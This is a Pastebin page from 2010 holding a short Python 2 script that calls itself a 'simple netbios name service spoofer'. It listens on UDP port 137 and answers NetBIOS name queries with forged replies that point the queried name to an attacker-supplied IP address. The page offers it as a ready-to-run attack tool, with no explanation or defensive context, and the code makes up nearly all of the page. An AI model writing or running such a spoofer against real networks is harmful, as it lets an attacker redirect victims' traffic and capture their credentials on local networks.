SHARE
TWEET

Laurent Gaffi

a guest Feb 9th, 2010 1,482 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ##Simple netbios name service spoofer.
  2.  
  3. import sys, SocketServer
  4. from socket import inet_aton
  5.  
  6. if len(sys.argv)<=1:   
  7.  sys.exit('Give me an IP')
  8.  
  9. #NBNS SPOOF;
  10. answer = [chr(int(a, 16)) for a in """
  11. 08 f3 85 80 00 00 00 01 00 00 00 00 20 46 48 45
  12. 50 46 43 45 4c 45 48 46 43 45 50 46 46 46 41 43
  13. 41 43 41 43 41 43 41 43 41 43 41 42 4e 00 00 20
  14. 00 01 00 04 93 e0 00 06 00 00""".split()]
  15.  
  16. def nametid(data,packet):
  17.     pack = packet[:]
  18.     pack[0:2]=data[0:2]##Transaction ID
  19.     pack[12:48]=data[12:48]##Netbios name
  20.     return pack
  21.  
  22. class NBS(SocketServer.BaseRequestHandler):
  23.      
  24.     def server_bind(self):
  25.        self.socket.setsockopt(SOL_SOCKET, SO_REUSEADDR,SO_REUSEPORT, 1)
  26.        self.socket.bind(self.server_address)
  27.  
  28.     def handle(self):
  29.         request, socket = self.request
  30.         print "From:", self.client_address
  31.         ## waiting for query ..
  32.         if request[2:4] == "\x01\x10":    
  33.            buffer0 = ''.join(nametid(request,answer))+inet_aton(str(sys.argv[1]))
  34.            socket.sendto(buffer0, self.client_address)
  35.            print "Fake Response sended\n"
  36.  
  37. launch = SocketServer.UDPServer(('', 137),NBS)
  38. launch.serve_forever()
RAW Paste Data
Top